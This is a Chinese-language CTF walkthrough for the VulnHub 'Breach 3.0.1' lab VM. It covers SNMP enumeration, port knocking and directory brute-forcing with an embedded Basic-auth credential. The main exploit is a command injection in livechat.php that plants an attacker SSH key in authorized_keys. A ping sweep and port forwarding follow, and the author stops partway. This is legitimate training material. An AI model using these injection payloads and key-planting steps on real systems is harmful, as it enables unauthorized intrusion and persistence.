本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现
地址:https://www.vulnhub.com/entry/breach-301,177/
刚开始使用nmap进行扫描没有结果,默认我都是扫描tcp的,什么都没有扫描出来
于是再重新扫描下udp端口,发现开放了161的udp端口,使用下面命令进行测试
snmpwalk -Os -c public -v 1 192.168.56.104
根据网上信息的提示,确认目标靶机开了knock ,需要敲击的端口是根据这个信息 获取 iso.3.6.1.2.1.1.4.0 = STRING: "Email: Milton@breach.local - (545)-232-1876"
端口分别为545 232 1876
使用 knock -v 192.168.56.104 545 232 1876 多敲击几次看看,再次使用nmap扫描,发现开放了8端口
访问是个401认证的web界面
这里有一个疑问,一个是需要再次敲击 knock -v 192.168.56.104 555 423 1800 就会开放22端口
这里给出的账号和密码是milton/thelaststraw 得到的密码信息是根据这个靶机系列的第一个靶机"Breach 1"信息获得的,登录成之后显示如下信息:
看到有一个连接place 点进去看看
发现是个登录界面 http://192.168.56.104:8/breach3/index.php ,试了下弱口令无果,那么尝试下目标猜解,在猜解之前因为是带401认证的,所以我们先使用burp抓包把401认证的base64编码信息拿过来
需要猜解得目录是 http://192.168.56.104:8/breach3/
dirb http://192.168.56.104:8/breach3/ -w -H "Authorization: Basic bWlsdG9uOnRoZWxhc3RzdHJhdw==" | tee dirb_192.168.56.104_breach3.txt
根据猜解得新获得了目录blog
右键查看当前页面的源代码,发现电子邮件
那么这个时候就知道目标靶机存在一个用户名为samir,继续使用dirb命令加载大字典进行猜解,同时增加猜解范围
dirb http://192.168.56.104:8/breach3/ -w -H "Authorization: Basic bWlsdG9uOnRoZWxhc3RzdHJhdw==" /usr/share/wordlists/dirb/big.txt -X .php,.bak,.html,.txt| tee dirb_192.168.56.104_breach3_big.txt
没看到太多有价值的信息,那么我们继续回到刚获得登录窗口 http://192.168.56.104:8/breach3/index.php ,刚开始测试的思路就是试下弱口令不行,那么这次试试有没有SQL注入
通过burp抓登录请求包,然后使用sqlmap进行注入
sqlmap -r bmfx_breach3.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://192.168.56.1:8080 --tamper=equaltolike --level=5 --risk=3 --dbms=mysql --dbs
上面测试并未成功,但是经过https://mrh4sh.github.io/breach-3-solution 提示,确认存在一个代码执行的漏洞,那么可以直接写入一个ssh公钥过去直接连接,事先将公钥进行base64编码
执行下面3步操作
http://192.168.56.104:8/breach3/thebobscloudhostingllc/livechat.php?searcher=echo "c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDL2l6L04yVmN5UUpHblBoTjhjRWZtVkZEdC9JTVRLajhHV2JFQVlBaGV4K2hBZE53RGYyMSs5dUNKWjRvaE5JeXpTK0syMTk2TVVlSW91aHBwd0tWZ0poSHVCc2QwZnV1QUF6bUtKbGlQZjUyQk9Gb0hZcmg2bUpxZm1mVk1oZzVQUUhXTWV4cldia2krUTRwREhKM1VpaWtwenhxWkFFZHJZUlZnOGZaYUtFY2ZoMG50aXdja0NKbWFLV1c2Y2hQWGRiOTdLYnE0bVlnZzRwamxjeGtJQ3VYTWRtSnh1TW9mRUdaTW0wUEhWSU1rb2hKRzl3NjJCZlY1d2M0MStyZ0E2TWczYnRHM1BPcDcyNUxPbmduQ0JlV3VUaE1CZ0o2ZlVNZER2cldaSEdQd3ovSjE0MUM2OGFpS2Zsa2M3NXA3QWwvMHUxVERtSitvdG5Fc3pDYlF4cTFVakhlVVhOaTZKSGFZdzdEQ2h2MVhwM05vY0EwK1FpTWhpdDdoYzNoS24zMjh3L1BtR09SclhuaG9EMHRETi9VSXFmNmNMOS9lOWlJcEQyNDdML2dvNlVqWlVybURKVDFJZjRXajVUa09UVU9tZWJVc1JQS2paZWRIc3BaSkFLK2JaYnppdW11dUNzMGpwUHNRRk56N1hDWHZFc2Nra0I3RktRdTZCTGM9IGthbGlAa2FsaQ==" | base64 -d > /home/thebobs/.ssh/authorized_keys
http://192.168.56.104:8/breach3/thebobscloudhostingllc/livechat.php?searcher=sudo%20-u%20thebobs%20chmod%20700%20/home/thebobs/.ssh/
http://192.168.56.104:8/breach3/thebobscloudhostingllc/livechat.php?searcher=sudo%20-u%20thebobs%20chmod%20600%20/home/thebobs/.ssh/authorized_keys
确保文件写入成功,保证.ssh目录权限是700,里面的文件authorized_keys权限是600即可远程连接,开始连接
发现连接成功是直接进入Python环境,那么我们通过Python环境生成一个shell
使用ifconfig命令看看IP网络信息
然后发现存在虚拟机,网段是122的,那么使用for循环扫描看看
for i in $(seq 2 254); do ping -c 1 192.168.122.$i -W 1| grep "bytes from "; done
确认存活两台主机,IP地址分别为192.168.122.28和192.168.122.65 ,想对这两台虚拟机进行扫描,试试目标靶机是否存在namp命令,直接指向一下发现是存在的,那么我们直接使用nmap命令进行扫描
最终的扫描结果如下:
确认目标192.168.122.65开放了22,80,8800端口,根据扫描结果发现,开放的8800端口有401认证,80端口显示是Apache,那么可以确认这又是个web应用,那么我们需要对其进行测试,但是因为这是目标靶机里面的虚拟机,为了访问方便,我使用ssh进行进行端口转发。
先把里面的80端口转发出来
ssh -L 8080:192.168.122.65:80 thebobs@192.168.56.104
执行了上面的端口转发,发现没效果,而且通过root权限,进入查看监听端口也没有开启。这个靶机先放着吧,感觉靶机本身问题比较多,前面刚开始的knock也是存在问题,不关咋knock8端口都不开放,还是通过单用户模式进入到目标靶机停掉knock服务,然后执行防火墙脚本才起来的,大家有兴趣看看这边博客的演示:https://mrh4sh.github.io/breach-3-solution
迷茫的人生,需要不断努力,才能看清远方模糊的志向!